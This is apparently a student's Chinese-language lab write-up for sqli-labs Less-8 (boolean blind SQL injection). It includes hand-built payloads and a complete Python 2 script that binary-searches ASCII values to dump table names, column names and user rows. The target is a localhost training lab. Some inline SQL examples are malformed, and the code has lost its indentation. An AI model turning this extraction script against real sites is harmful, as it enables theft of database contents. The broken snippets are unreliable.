sqli(8)
阅读原文时间:2023年07月17日阅读:1

第八关:单引号GET盲注

前言:感冒了很有以后摸到靶场,如若隔世….我的天,说不定又有同学要去实习了,再看看我。啧啧啧,神的飞起来。。

盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。

substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始

mid(str,pos,len):跟上面的一样,截取字符串

ascii(str):返回字符串str的最左面字符的ASCII代码值。

ord(str):同上,返回ascii码

if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

0x01 判断

加引号与否、加and或者or,都没有显示,判断这是盲注。

1.首先select查询:

ascii(substr(select(database(),,)))#substr是截断函数,选择数据库的第一位,截断一位;返回数据库名称的第一个字母,转化为ascii码
if(ascii(substr(select(databse(),1,1)>64,1,0))#判断第一个字母的ASCII是不是小于64(小于A)

https://www.cnblogs.com/dshore123/p/7805050.html

substr(string,int a,int b) 截取字符串string从第a个字符开始、截取b个字符,然后返回值输出。(这个返回的是那个呢?应该不是a或者b吧,返回给内存然后存起?)

然后我这里 ,刚开始的时侯,测试是否为盲注的时候,加引号或者不加引号得出的都是返回正确:you are in…

看一下源码:

显示:正确的话(1),则返回you are in…  如果返回错误(0)的话,如果是语法报错就会显示具体的语法错误,如果是数据错误那应该什么都不会显示。

0x02 爆数据库名字

1.源码告诉我们,对的会显示,错的如果是语法错误会提示、如果是数值错误则不会提示。所以接下来我们需要一步一步手工试,试出正确的截断ASCII码,这样能得出数据库的第一个字,然后的出

通过截断第二个字符,得出‘e’.

比如这个。。。第一个字符,他大于115以后就报错了,114就不报错,115=s(记住,从第一位加起的,就算最后结果+1,所以是115,去“s”)

substr从第0/1字符开始,都是代表第一位开始。

所以我数据库的名字的第二个字符就是“e”

然后这样推算下去。。。。

得出数据库:security

0x03 使用脚本暴表名、列名

当然,这个脚本也是copy组长的。。。我运行一下。。。。

import urllib2
import urllib

success_str = "You are in"
getTable = "users"

index = ""
url = "http://localhost/sql1/Less-8/?id=1"
database = "database()"
selectDB = "select database()"
selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"

asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthPayload = "' and length(%s)>=%d #"
selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"

selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit "
selectTableNameLengthPayloadbehind = ",1)>=%d #"

发送请求,根据页面的返回的判断长度的猜测结果

string:猜测的字符串 payload:使用的payload length:猜测的长度

def getLengthResult(payload, string, length):
finalUrl = url + urllib.quote(payload % (string, length))
res = urllib2.urlopen(finalUrl)
if success_str in res.read():
return True
else:
return False

发送请求,根据页面的返回的判断猜测的字符是否正确

payload:使用的payload string:猜测的字符串 pos:猜测字符串的位置 ascii:猜测的ascii

def getResult(payload, string, pos, ascii):
finalUrl = url + urllib.quote(payload % (string, pos, ascii))
res = urllib2.urlopen(finalUrl)
if success_str in res.read():
return True
else:
return False

注入

def inject():
# 猜数据库长度
lengthOfDBName = getLengthOfString(lengthPayload, database)
print ("length of DBname: " + str(lengthOfDBName))
# 获取数据库名称
DBname = getName(asciiPayload, selectDB, lengthOfDBName)

print ("current database:" + DBname)

# 获取数据库中的表的个数  
# print selectTableCountPayload  
tableCount = getLengthOfString(selectTableCountPayload, DBname)  
print ("count of talbe:" + str(tableCount))

# 获取数据库中的表  
for i in xrange(0,tableCount):  
    # 第几个表  
    num = str(i)  
    # 获取当前这个表的长度  
    selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind  
    tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)  
    print ("current table length:" + str(tableNameLength))  
    # 获取当前这个表的名字  
    selectTableName = selectTable%(DBname, i)  
    tableName = getName(asciiPayload, selectTableName ,tableNameLength)  
    print (tableName)

selectColumnCountPayload = "'and (select count(column\_name) from information\_schema.columns where table\_schema='"+ DBname +"' and table\_name='%s')>=%d #"  
# print selectColumnCountPayload  
# 获取指定表的列的数量  
columnCount = getLengthOfString(selectColumnCountPayload, getTable)  
print ("table:" + getTable + " --count of column:" + str(columnCount))

# 获取该表有多少行数据  
dataCountPayload = "'and (select count(\*) from %s)>=%d #"  
dataCount = getLengthOfString(dataCountPayload, getTable)  
print ("table:" + getTable + " --count of data: " + str(dataCount))

data = \[\]  
# 获取指定表中的列  
for i in xrange(0,columnCount):  
    # 获取该列名字长度  
    selectColumnNameLengthPayload = "'and (select length(column\_name) from information\_schema.columns where table\_schema='"+ DBname +"' and table\_name='%s' limit "+ str(i) +",1)>=%d #"  
    # print selectColumnNameLengthPayload  
    columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)  
    print ("current column length:" + str(columnNameLength))  
    # 获取该列的名字  
    selectColumn = "select column\_name from information\_schema.columns where table\_schema='"+ DBname +"' and table\_name='%s' limit %d,1"  
    selectColumnName = selectColumn%(getTable, i)  
    # print selectColumnName  
    columnName = getName(asciiPayload, selectColumnName ,columnNameLength)  
    print (columnName)

    tmpData = \[\]  
    tmpData.append(columnName)  
    # 获取该表的数据  
    for j in xrange(0,dataCount):  
        columnDataLengthPayload = "'and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #"  
        # print columnDataLengthPayload  
        columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)  
        # print columnDataLength  
        selectData = "select " + columnName + " from users limit " + str(j) + ",1"  
        columnData = getName(asciiPayload, selectData, columnDataLength)  
        # print columnData  
        tmpData.append(columnData)

    data.append(tmpData)

# print data  
# 格式化输出数据  
# 输出列名  
tmp = ""  
for i in xrange(0,len(data)):  
    tmp += data\[i\]\[0\] + "    "  
print (tmp)  
# 输出具体数据  
for j in xrange(1,dataCount+1):  
    tmp = ""  
    for i in xrange(0,len(data)):  
        tmp += data\[i\]\[j\] + "    "  
    print (tmp)

获取字符串的长度

def getLengthOfString(payload, string):
# 猜长度
lengthLeft = 0
lengthRigth = 0
guess = 10
# 确定长度上限,每次增加5
while 1:
# 如果长度大于guess
if getLengthResult(payload, string, guess) == True:
# 猜测值增加5
guess = guess + 5
else:
lengthRigth = guess
break
# print "lengthRigth: " + str(lengthRigth)
# 二分法查长度
mid = (lengthLeft + lengthRigth) / 2
while lengthLeft < lengthRigth - 1:
# 如果长度大于等于mid
if getLengthResult(payload, string, mid) == True:
# 更新长度的左边界为mid
lengthLeft = mid
else:
# 否则就是长度小于mid
# 更新长度的右边界为mid
lengthRigth = mid
# 更新中值
mid = (lengthLeft + lengthRigth) / 2
# print lengthLeft, lengthRigth
# 因为lengthLeft当长度大于等于mid时更新为mid,而lengthRigth是当长度小于mid时更新为mid
# 所以长度区间:大于等于 lengthLeft,小于lengthRigth
# 而循环条件是 lengthLeft < lengthRigth - 1,退出循环,lengthLeft就是所求长度
# 如循环到最后一步 lengthLeft = 8, lengthRigth = 9时,循环退出,区间为8<=length<9,length就肯定等于8
return lengthLeft

获取名称

def getName(payload, string, lengthOfString):
# 32是空格,是第一个可显示的字符,127是delete,最后一个字符
tmp = ''
for i in xrange(1,lengthOfString+1):
left = 32
right = 127
mid = (left + right) / 2
while left < right - 1:
# 如果该字符串的第i个字符的ascii码大于等于mid
if getResult(payload, string, i, mid) == True:
# 则更新左边界
left = mid
mid = (left + right) / 2
else:
# 否则该字符串的第i个字符的ascii码小于mid
# 则更新右边界
right = mid
# 更新中值
mid = (left + right) / 2
tmp += chr(left)
# print tmp
return tmp

def main():
inject()
main()

运行结果嘛。。明天继续改bug…我的urllib3啊啊啊